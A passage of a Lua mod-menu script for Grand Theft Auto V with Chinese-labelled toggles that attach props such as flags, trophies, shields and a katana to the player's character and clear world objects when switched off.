        delete_object(six)
        delete_object(sixss)
        delete_object(sixs)
    end
end)

GTTG(toubushuzi, "球",{""}, "",function(on)
    local six = "v_ilev_exball_blue"
    if on then     
        attach_to_player(six, 0, 0, 0, 0.8, 0, 0,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "炸弹",{""}, "",function(on)
    local six = "imp_prop_bomb_ball"
    if on then     
        attach_to_player(six, 0, 0, 0, 0.8, 0, 0,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "七叶草",{""}, "",function(on)
    local six = "prop_ex_weed_wh"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "嘟嘟车",{""}, "",function(on)
    local sixs = "prop_entityxf_covered"
    if on then     
        attach_to_player(sixs, 2, 0.0, 0, -0.8, 0, 0,0)
    else
        delete_object(sixs)
    end
end)

GTTG(toubushuzi, "光头遗照",{""}, "",function(on)
    local sixs = "prop_employee_month_01"
    if on then     
        attach_to_player(sixs, 2, 0.0, 0, 1.7, 0, 0,180)
    else
        delete_object(sixs)
    end
end)

GTTG(toubushuzi, "小富遗照",{""}, "",function(on)
    local sixs = "prop_employee_month_02"
    if on then     
        attach_to_player(sixs, 2, 0.0, 0, 1.7, 0, 0,180)
    else
        delete_object(sixs)
    end
end)

GTTG(toubushuzi, "中国国旗",{""}, "",function(on)
    local six = "apa_prop_flag_china"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗1",{""}, "",function(on)
    local six = "prop_flag_sheriff_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗2",{""}, "",function(on)
    local six = "prop_flag_canada_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗3",{""}, "",function(on)
    local six = "prop_flag_eu_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗4",{""}, "",function(on)
    local six = "prop_flag_german_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗5",{""}, "",function(on)
    local six = "prop_flag_ireland_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗6",{""}, "",function(on)
    local six = "prop_flag_japan_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗7",{""}, "",function(on)
    local six = "prop_flag_ls_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗8",{""}, "",function(on)
    local six = "prop_flag_mexico_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗9",{""}, "",function(on)
    local six = "prop_flag_lsfd_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

GTTG(toubushuzi, "国旗10",{""}, "",function(on)
    local six = "prop_flag_us_s"
    if on then     
        attach_to_player(six, 2, 0, 0, 1.7, 0, 360,0)
    else
        delete_object(six)
    end
end)

suijijianqi = function(x)
    local r = math.random(1,5)
    return x[r]
end

GTTG(wushidao, "武士刀",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_cs_katana_01"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.03, 0, 0, -80, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "荣誉",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("xs_prop_trophy_firepit_01a"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0, -0.1, -0.07, -72, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "荣誉2",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("xs_prop_trophy_carfire_01a"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0, -0.1, -0.07, -72, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "荣誉3",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("xs_prop_trophy_flags_01a"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.02, -0.1, -0.05, -72, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
        for k,ent in pairs(entities.get_all_objects_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            count = count + 1
            wait()
        end
    end
end)

GTTG(wushidao, "荣誉4",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("xs_prop_trophy_cup_01a"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.02, -0.15, -0.05, -72, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
        for k,ent in pairs(entities.get_all_objects_as_handles()) do
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
            entities.delete_by_handle(ent)
            count = count + 1
            wait()
        end
    end
end)

GTTG(wushidao, "手提袋",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_med_bag_01b"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.3, 0, 0, -90, -10, 90, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(sessionfun, "灯架",{""}, "手持灯架",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_kino_light_02"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.07, 0, 0, -100, 0.0, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "键盘",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_cs_keyboard_01"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.3, 0, 0, -360, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "高尔夫球杆",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_golf_driver"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0, 0, 120, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "凳子",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_cs_office_chair"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.32, 0.05, 0.28, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "娃哈哈",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_energy_drink"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_shark"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌2",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_shark_g"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌3",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_shark_p"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌4",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_shark_pk"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌5",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_shark_wh"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌6",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_time"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌7",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_time_g"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌8",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_time_p"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌9",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_time_pk"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌10",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_b_time_wh"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌11",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_ex_bmd"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "队长盾牌12",{""}, "",function(on)
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.PLAYER_PED_ID())
    local taidao = OBJECT.CREATE_OBJECT(util.joaat("prop_gr_bmd_b"), pos.x, pos.y, pos.z, true, true, false)
    if on then
    WEAPON.GIVE_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),1317494643,15,true,true)
    WEAPON.SET_PED_CURRENT_WEAPON_VISIBLE(PLAYER.PLAYER_PED_ID(), not on, false, false, false)
    ENTITY.ATTACH_ENTITY_TO_ENTITY(taidao, PLAYER.PLAYER_PED_ID(), PED.GET_PED_BONE_INDEX(PLAYER.PLAYER_PED_ID(), 28422), 0.05, 0.05, 0, -90, 0.5, 0, true, true, true, true, 0, true)
    else
        WEAPON.REMOVE_WEAPON_FROM_PED(players.user_ped(),1317494643)
        local count = 0
			for k,ent in pairs(entities.get_all_objects_as_handles()) do
				ENTITY.SET_ENTITY_AS_MISSION_ENTITY(ent, false, false)
				entities.delete_by_handle(ent)
				count = count + 1
				wait()
			end
    end
end)

GTTG(wushidao, "御盘术V1",{""}, "",function(on)
    local katana = "prop_cs_keyboard_01"
    if on then     
        attach_to_player(katana, 1, -0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.3, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, -0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, 0.5, 0, 0.5, 0, 90,90)
        attach_to_player(katana, 1, -0.8, 0, 0.8, 0, 90,90)
        attach_to_player(katana, 1, 0.8, 0, 0.8, 0, 90,90)
